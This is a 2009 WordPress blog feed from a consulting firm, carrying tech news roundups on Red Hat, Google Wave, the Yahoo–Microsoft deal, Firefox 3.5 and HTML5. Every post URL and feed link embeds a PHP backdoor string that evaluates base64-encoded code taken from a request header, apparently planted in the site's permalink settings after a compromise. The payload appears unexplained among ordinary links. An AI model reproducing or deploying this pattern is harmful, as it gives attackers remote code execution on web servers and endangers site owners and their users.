Knowledge@adpsconsulting.com » Red Hat http://adpsconsulting.com/knowledge Knowledge@ADPS Wed, 05 Aug 2009 10:00:30 +0000 http://wordpress.org/?v=2.8 en hourly 1 The Month That Was – Google Wave and more http://adpsconsulting.com/knowledge/2009/08/05/the-month-that-was-google-wave-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://adpsconsulting.com/knowledge/2009/08/05/the-month-that-was-google-wave-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 05 Aug 2009 09:59:08 +0000 ADPS Admin http://adpsconsulting.com/knowledge/?p=159 Red Hat just got into the S&P 500 stock index!

- Red Hat (RHT) just got into the S&P 500 stock index! This is yet another indicator pointing to the growing importance that open source is gaining across industries.

- On July 29th Yahoo! and Microsoft inked a 10-year deal and joined hands in the ongoing search engine battle with a revenue sharing deal. Under the agreement, Microsoft, with Bing, will provide the search technology for Yahoo! search, while Yahoo! will focus on search engine advertising. Yahoo! also gets guaranteed revenues for the first 5 years of the deal. The move enables MS-Yahoo! to garner a greater search engine market share and slightly narrow the gap between them and rival (and market leader) Google.

- Google is releasing a preview build of a new Web-based communication and collaboration tool by late September. Called Google Wave, the open-source tool will initially be offered to about 100,000 people who have volunteered to provide feedback. Google Wave — based on the new HTML 5 markup language for building Web pages — is already available to developers via a “sandbox” version of the tool’s enabling APIs. The tool will let individuals communicate and work together on “waves” — collaborative communications containing richly formatted text, photos, videos, maps, gadgets and other elements. Each wave is formulated as a “tree structure of messages” within which conventional e-mail and instant-messaging capabilities are combined and delivered in almost real time on a keystroke-by-keystroke basis.

]]> http://adpsconsulting.com/knowledge/2009/08/05/the-month-that-was-google-wave-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 The Fortnight That Was: Firefox 3.5 out and more http://adpsconsulting.com/knowledge/2009/07/09/the-fortnight-that-was-firefox-3-5-out-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://adpsconsulting.com/knowledge/2009/07/09/the-fortnight-that-was-firefox-3-5-out-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 09 Jul 2009 04:05:36 +0000 ADPS Admin http://adpsconsulting.com/knowledge/?p=98 •  Intel has just released the first beta of Moblin v2.0. Moblin is Intel’s open source operating system for netbooks, and is essentially another distribution of Linux, Fedora based. Moblin is built for Intel’s Atom chips which are found in many netbooks, and is an internet and multimedia focused OS. Moblin is open source and free.

•  PostgreSQL has released version 8.4 of the popular open source database. Features include faster recovery from backups, per column permissions for more granular control of data, faster upgrades from v8.3 and semi-joins and anti-joins, among others.

•  Mozilla has launched Firefox 3.5. It’s faster, and has features of IE8 and Chrome.

•  Red Hat is offering the Premier Cloud Provider Certification and Partner Program, designed to simplify and expand the adoption of cloud computing by enterprise customers. It enables industry leaders in cloud computing to become certified to offer Red Hat technology solutions. Amazon Web Services became the first Red Hat Premier Cloud Provide Partner.

•  In a survey of 104 Global 2000 companies, 30% of respondents said they were already using the cloud, and another 20% said that they would be moving their applications to the cloud in the next year. However, the remaining half said that they had no plans of using the cloud in the near future, citing lack of awareness, security concerns, cost, and not enough technical expertise.

]]> http://adpsconsulting.com/knowledge/2009/07/09/the-fortnight-that-was-firefox-3-5-out-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The Month That Was: NZ Boots Microsoft and More http://adpsconsulting.com/knowledge/2009/06/23/news-snippets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://adpsconsulting.com/knowledge/2009/06/23/news-snippets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 23 Jun 2009 10:25:49 +0000 ADPS Admin http://adpsconsulting.com/knowledge/?p=21 •  The New Zealand government recently gave the boot to Microsoft, with whom it had a recurring three year contract since 2000 to supply all necessary software systems. The government has, in a boost for open source, decided to opt for open source software. Don’t we all want our money to go far?
•  The 7th of June 2009 saw Joomla! reach a major milestone – its 10 millionth download. Even accounting for multiple downloads, that’s quite some number!
•  While the NZ government said ‘No’ to MS, a Swiss government agency awarded a USD 39 million contract to MS without calling for competitive bids, prompting Red Hat to file a suit in the Swiss Federal Administrative Court
•  HTML5, work on which commenced in 2004, provides a whole new set of elements that make structuring a page easier. No more div tags all over the place; instead, there are tags for articles, sections, headers, footers and others. Maybe more important are the audio and video tags, which add support for embedding audio and video files within a page. You can even provide your own play/pause/stop/rewind/forward buttons with the extensive API.
•  The much maligned Microsoft was recently accused by a Canadian firm of using a method patented by it to customize XML tags in MS Word 2003 and 2007. A federal court in Texas declared it to be a clear case of infringement and awarded the Canadian company $200 million in damages. Microsoft spokesman David Bowermaster told reporters that his company plans to appeal the ruling in Federal Court.

Sources: news.zdnet.co.uk; joomla.org; press.redhat.com; dev.w3.org; ca.news.yahoo.com

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